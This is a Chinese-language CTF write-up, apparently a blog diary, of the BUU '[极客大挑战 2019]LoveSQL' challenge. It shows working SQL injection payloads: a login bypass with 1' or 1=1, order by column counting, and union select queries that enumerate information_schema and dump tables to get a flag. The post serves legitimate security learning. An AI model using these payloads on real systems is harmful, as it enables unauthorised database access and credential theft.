buu [极客大挑战 2019]LoveSQL 1

26 篇文章 2 订阅
24 篇文章 2 订阅

buu [极客大挑战 2019]LoveSQL 1 -刷题个人日记

小白一个,写给自己看。
进去后是这样:
在这里插入图片描述用户名输入11'测试
发现1'报错
在这里插入图片描述有sql语法错误,说明有sql注入点且后台数据库是MariaDB
用户名输入sql注入基本公式:1' or 1=1;#
在这里插入图片描述
结果:
在这里插入图片描述3bba40d66c98e28cf3bac11b45edbbab像是md5编码,试试解码后不行。
可能flag在其他表里,我们要知道有哪些表且表的属性有哪些。
慢慢来,payload:

check.php?username=admin' order by 3%23&password=1

%23#的意思,因为是url 所以要url编码
没反应,继续。

check.php?username=admin' order by 4%23&password=1

报错:
在这里插入图片描述
说明有3列,3个属性。
说说这样构造的原因。我看过其他人的wp,在密码上也写了1' or 1=1;#,但这其实不影响什么。只要在用户名上注入成功就会显示
在这里插入图片描述
但密码不能为空,我猜测试会用isset()函数之类的验证并且只要这个后台sql语句为真就会固定返回上面这两个字符串。所以用username=admin'并且注释掉后面(后面应该是密码验证)就可以永真,就一定可以返回Login Success!,这也是密码可以随便填的原因。

继续:

check.php?username=1' union select 1,2,3%23&password=1

在这里插入图片描述
说明只回显第2,第3列。第一列就可能是主码id之类的,这不重要。重要的是我们只要把查询的信息放在第2或第3列就行。
说说这样构造的原因。username等于什么无所谓,不等于admin就行。然后联合查询1,2,3得出结果,可以说明第2列存的是用户名信息,第3列存的是密码信息。至于为什么这样查询会得出这样的结果,我还不知道。可能是这样查询就会得出这样的结果的原因,没有为什么8。
继续:

check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述
说明有两个表:geekuser 表和 l0ve1ysq1 表。
先说说这样构造的原因。

check.php?username=1' union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23&password=1

我们把表显示在第3列,所以用语句取代3。

  1. group_concat() 用于一个集合显示括号里的信息。简单来说就是一个空(第3列)里显示多组信息。
  2. table_name:表
  3. information_schema:简单来说就是数据库结构的集合,可以是表,列等等。这里后面接.tables就是数据库的表
  4. table_schema:数据库
  5. database():获取数据库信息的函数。

现在先看第一个表geekuser

check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser' and table_schema=database()%23&password=1

结果:
在这里插入图片描述

  1. column_name:列名
  2. information_schema.columns:数据库的列
  3. table_name:表名

geekuser首尾别忘了加单引号。
就和我之前推理的一样,第2列存的是用户名信息,第3列存的是密码信息。
看看里面都存了什么:

check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

在这里插入图片描述

  1. id=1
  2. username=admin
  3. password=3bba40d66c98e28cf3bac11b45edbbab

和我们第一次注入成功后显示页面的用户名和密码相同。
那flag就在第二个表l0ve1ysq1里:

check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' and table_schema=database()%23&password=1

和表1一样:
在这里插入图片描述

check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述
滑到后面可以看到flag。(可以把id,username去掉只显示password减短字符串。)

flag{e66052e6-31a3-4057-9a3e-5d8e6aff1f40}

参考
[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)

这是篇写给自己的日记,因为只有自己写得出来而且能让读者看懂才能是真的明白了。写之前我以为我是明白的,写完后才算是真正明白了,写这就是个融会贯通的过程。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值